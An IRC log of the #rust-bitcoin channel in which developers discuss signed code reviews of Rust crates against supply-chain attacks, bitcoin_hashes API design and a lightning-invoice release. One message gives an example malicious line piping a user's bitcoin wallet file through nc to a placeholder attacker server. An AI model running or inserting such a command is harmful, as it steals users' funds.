--- Log opened Thu Dec 13 00:00:50 2018 00:43 < sgeisler> dpc: oh, wow, I didn't know someone was actually working on something like that. I'll have a more thorough look at it tomorrow :) 02:15 -!- TamasBlummer1 [~Thunderbi@p200300DD673DE9104D298C6456869AB8.dip0.t-ipconnect.de] has joined #rust-bitcoin 02:18 -!- TamasBlummer [~Thunderbi@p200300DD673DE9374D298C6456869AB8.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 02:18 -!- TamasBlummer1 is now known as TamasBlummer 04:43 -!- midnightmagic [~midnightm@unaffiliated/midnightmagic] has quit [Ping timeout: 264 seconds] 04:46 -!- midnightmagic [~midnightm@unaffiliated/midnightmagic] has joined #rust-bitcoin 04:52 -!- midnightmagic [~midnightm@unaffiliated/midnightmagic] has quit [Ping timeout: 260 seconds] 05:00 -!- midnightmagic [~midnightm@unaffiliated/midnightmagic] has joined #rust-bitcoin 06:53 -!- belcher [~belcher@unaffiliated/belcher] has quit [Ping timeout: 252 seconds] 06:54 -!- belcher [~belcher@unaffiliated/belcher] has joined #rust-bitcoin 07:34 -!- michaelsdunn1 [~michaelsd@unaffiliated/michaelsdunn1] has quit [Ping timeout: 246 seconds] 07:53 -!- michaelsdunn1 [~michaelsd@unaffiliated/michaelsdunn1] has joined #rust-bitcoin 07:56 < BlueMatt> dongcarl: yes, rustc-serialize is a stupidly old serialization framework that no one uses anymore, but is a dep for rust-crypto 07:58 < BlueMatt> dpc: cool! obviously workflow should be as integrated as possible, something like just being able to gpg-sign some text like "ack $COOMMITHASH" and post that on github 07:59 < BlueMatt> dpc: github's api is pretty great, so just having a standard format(s) for someone to ack some code and being able to snarf it from a number of different sources as proof that something was ok would be cool 07:59 < BlueMatt> I've thought about doing this somehow myself for Bitcoin Core (C++, though) 08:52 -!- Tralfaz [~none@104.248.145.220] has joined #rust-bitcoin 08:56 < dpc> BlueMatt: I don't understand everything here. :) 08:58 < BlueMatt> dpc: I was just imaging what workflow for trust would be the least intrusive *for me* and was thinking something where I just have to pgp sign my code reviews including the git commit hash of the thing I reviewed and then it would be easy to write something that automatically downloads all the code reviews, verifies them, checks them against all the merges, and says updates have been fully reviewed 09:02 < dpc> Oh. So you're thinking about review code changes. I was planing to add them to `crev` eventually, but right now I'm focusing on reviewing actualy published packages. It's just better bang for the buck: one crate is used by many, many people, while each git change affects small group of interested devs. 09:03 < dpc> I'm aware of at least one other project that is focused on internal code change review with pgp signing: https://github.com/git-wotr/spec/issues/4 09:03 -!- Tralfaz [~none@104.248.145.220] has left #rust-bitcoin ["Leaving"] 09:03 < dpc> No code yet though, just design. 09:30 < BlueMatt> dpc: ah, ok, maybe I'm misunderstanding your goal here 09:30 < BlueMatt> dpc: so you just want maintainers to sign a release? 09:33 < dpc> dpc: I want multiple people to check the crate, and independently publish their reviews. Maintainers should probably do it, but that's probably not enough, (since they are attack vector on it's own), so everyone should want 2, 3 idepdented reviews. 09:33 < dpc> If the system gains enough traction that is, and reviews of popular crates are plenty. 09:33 < BlueMatt> well doing a ground-up review of something is.....more than hard 09:34 < BlueMatt> checking that each new change was reviewed is much, much easier 09:34 < BlueMatt> especially since that already happens 09:34 < BlueMatt> unless your goal is just reviewing for "this crate doesn't have any obvious cat /home/$USER/bitcoin_wallet.dat | nc evilserver.bobscorp.com" 09:40 < dpc> BlueMatt: Yes, it depends on which aspect of review are you thinking about. I would like to address mostly the "this crate doesn't have any obvious malware", and "the author here doesn't do `unsafe` left and right", "test coverage looks totally insufficient" and so on. If you neeed something better you will have to increase the `thoroughness`-filtering. 09:41 < dpc> Reviewing things change by change is more useful internally, when you're between somewhat known and trusted group of people, but casual user will not monitoring the daily life of `rust-bitcoin` project. 09:42 < dpc> For all they know `rust-bitcoin` devs can conspire or get compromised and release malicious version of it, or people running crates.io can send them them "enriched" version. 09:42 < BlueMatt> well i was pointing to it cause it already happens, ie just doing some automated checking that the crate gets review for each merge is "free" in terms of making people do additional review work 09:42 < dpc> That's why they need to test E2E - what was actualy downloaded to their machine, and will be compiled in. 09:44 < dpc> I am aware that this already happened. I was even designing this system with this usecase in mind at the begining. But it made my realize that it is not that useful for the outside world, and I would rather start with package release review and verfication, and get to code change review and per-file reviews later. 09:46 < BlueMatt> yea, fair, and the collusion problem is hard, I only mention it because getting people to randomly go and review other peoples' crates for these things is a lot of very thankless work and motivating people for such things is hard :p 09:46 < BlueMatt> starting with something that already exists/is "free" is much easier on the back end 09:46 < dpc> I hope that normal users will piggy-back on more serious users like you guys. :D 09:46 < dpc> And other comercial entities. 09:47 < BlueMatt> heh, well we solve this problem by just not having dependencies, much easier that way :p 09:47 < dpc> I guess you will not be reviewing every `serde` PR, but you will at least skim through it before upgrading to a newer version. 09:48 < dpc> Minimizing deps is a good idea, but it's impossible to go to zero. 09:48 < BlueMatt> true 09:49 < dpc> So the idea is, that a normal user will just add IDs of rust-bitcoin devs to their WoT (or one bigger "group-id" of `rust-bitcoin` project), and freeload. 09:50 < dpc> One id for you, one for rust core team, one for every serious entity using Rust, some paid reviewers, and maybe it will work reasonably well. 09:52 < BlueMatt> might want to ask andytoshi too, since I know he/his employer has done some high-level review of dependencies, at least of rust-bitcoin 09:54 < dpc> Yeah, so now it would be awesome, if that information could circulate, signed cryptographically, and Rust users had a way to discover and use that fact. :) 09:55 < dpc> There will be a set of popular projects that are bigger, but get used all the time, and some smaller crates, that are easy and quick to review for a casual user themselves. 11:43 < BlueMatt> andytoshi: lol how am I supposed to get the result out of an Hmac? 11:46 < BlueMatt> andytoshi: also, I'm kinda confused why use io::Write for the engine stuff? They implement input() so io::Write is just needless indirection for most use-cases (I'm not arguing against having it, just arguing that it shouldnt be the default way we call it) 11:48 < BlueMatt> andytoshi: also header copyright notice in hmac.rs is wrong 11:53 < sgeisler> BlueMatt: iirc you have to use `impl ops::Index for Hmac` to get the byte slice (`&hmac[..]`) but I think dongcarl is working on better ergonomics for that 11:53 < BlueMatt> well we can at least just expose the inner value since we do that for the other Hash types 11:54 < BlueMatt> either that or make Hash have a fn result(self) -> [u8; N] 11:54 < dongcarl> Hey Matt 11:54 < dongcarl> you can always do `hash.0` 11:54 < dongcarl> I'm working on a PR that allows you to do `&hash` to get the slice 11:54 < sgeisler> no, it's not pub 11:54 < BlueMatt> nope, not on Hmac 11:54 < dongcarl> sgeisler: it's not? 11:54 < BlueMatt> you can on Sha256 11:54 < sgeisler> .0 doesn't work for hmac 11:55 < dongcarl> Anyways, I'm going to allow `&hash` to get the slice 11:55 < BlueMatt> dongcarl: I dont need a &[u8; N], I want a Self -> [u8; N] 11:55 < BlueMatt> which probably means gotta make .0 pub 11:55 < dongcarl> BlueMatt: Yeah that'd be consistent with the rest as well 11:56 < BlueMatt> well Hmac is awkaward anyway, cause you have to .0.0 11:56 < sgeisler> dongcarl: do you want to include it in your PR? 11:56 < dongcarl> I have to think about this... Maybe a `result` function for the `Hash` trait would be better 11:57 < dongcarl> because that would result in the same API 11:57 < dongcarl> And not have to type .0.0 which frankly looks like a weird emoji thing 11:58 < sgeisler> I'd rather call it `fn inner(self) -> Inner` and implement it for the hash trait and have `Inner` be an associated type. 11:58 < dongcarl> yes 11:58 < dongcarl> sgeisler: yes 11:58 < BlueMatt> agreed 11:58 < dongcarl> I think in `std` they often have `into_inner` 11:58 < BlueMatt> also its super awkward that Hmac implements Hash 11:58 < dongcarl> so we can follow that convention 11:59 < BlueMatt> cause you normally do Hash::engine(); engine.input(things); Hash::from_engine().0 11:59 < BlueMatt> but with Hmac you cant do Hash::engine() 11:59 < BlueMatt> cause that implies no-key-hmac, which is nonsense 11:59 < BlueMatt> I dont think Hmac should implement Hash at all 12:00 < dongcarl> BlueMatt: Yeah, I found that to be strange as well 12:00 < sgeisler> Yeah, I talked to andrew about that, he wanted to keep that Hash::engine() behavior instead of panicking or something like that. 12:01 < sgeisler> https://github.com/rust-bitcoin/bitcoin_hashes/pull/2#discussion_r231345478 12:04 < BlueMatt> note that rust-crypto also provides constant time == comparison for hmac results 12:04 < BlueMatt> which is kinda nice 12:04 < BlueMatt> but requires a shitty wrapper type 12:32 < sgeisler> BlueMatt: opened into_inner PR: https://github.com/rust-bitcoin/bitcoin_hashes/pull/14 13:00 < BlueMatt> sgeisler: nice 13:26 < BlueMatt> yea, so looks like rust-lightning just needs that pr, hkdf, and chacha20+poly1305 to drop rust-crypto 13:26 < BlueMatt> the chacha/poly I should do, hkdf I presume would fit in bitcoin_hashes 14:14 < dongcarl> We need a PR and merge bot 14:18 < sgeisler> like bors? 14:38 -!- michaelsdunn1 [~michaelsd@unaffiliated/michaelsdunn1] has quit [Remote host closed the connection] 14:40 -!- sipa [~pw@gateway/tor-sasl/sipa1024] has quit [Ping timeout: 256 seconds] 15:14 < andytoshi> dongcarl: i want PartialOrd and Ord everywhere, it's needed to make anything sortable or includable in btreemaps 15:16 < dongcarl> andytoshi: Cool, one question, should the fuzzing stubs go in bitcoin_hashes? How do you want to organize them? feature-gated or just separate modules? 15:17 < andytoshi> hmm, yeah, i guess those belong in bitcoin_hashes 15:17 < andytoshi> i think we should feature-gate them 15:17 < andytoshi> it's a bit more ergonomic for users if they can just compile with a feature on and everything gets automagically stubbed out 15:18 < andytoshi> BlueMatt: thanks for the heads up about the copyright notice 15:18 < andytoshi> also io::Write doesn't imply any indirection unless you're using trait objects 15:18 < andytoshi> and using io::Write means that these hashes do the right thing wrt rust-bitcoin's Encodable and Decodable traits 15:20 < andytoshi> dpc: neither my employer nor i have done a dependency review that i'm satisfied with. IIRC i did a review of byteorder at some point in the past as well as a couple other very small crates. but the whole hyper tree is more-or-less unreviewed (except hyper itself which i've had to dig into when it breaks) 15:23 < andytoshi> i've definitely -rejected- many crates outright for having trivial red flags (unsafe abuse, clear UB, API shows confusion about rust ownership model, etc etc) and i guess that would've been useful for me to write down somewhere 15:25 < andytoshi> sorry for my lack of contributions this week and last; been in transit and distracted by some life things, it's hard to get my brain in gear 16:12 -!- _cryptodesktop_i [~John@91.245.74.33] has joined #rust-bitcoin 16:46 -!- _cryptodesktop_i [~John@91.245.74.33] has quit [Ping timeout: 250 seconds] 16:47 -!- _cryptosignal_me [~John@91.245.74.33] has joined #rust-bitcoin 17:02 -!- _cryptosignal_me [~John@91.245.74.33] has quit [Read error: Connection reset by peer] 17:19 < sgeisler> I just released v0.1.0 lightning-invoice https://crates.io/crates/lightning-invoice 17:24 < sgeisler> BlueMatt: I invited you as a crate owner to increase the bus factor 21:06 -!- grubles [~grubles@unaffiliated/grubles] has quit [Quit: Leaving] 21:20 -!- grubles [~grubles@unaffiliated/grubles] has joined #rust-bitcoin 22:28 -!- nothingmuch [~user@62.102.148.162] has quit [Ping timeout: 272 seconds] --- Log closed Fri Dec 14 00:00:51 2018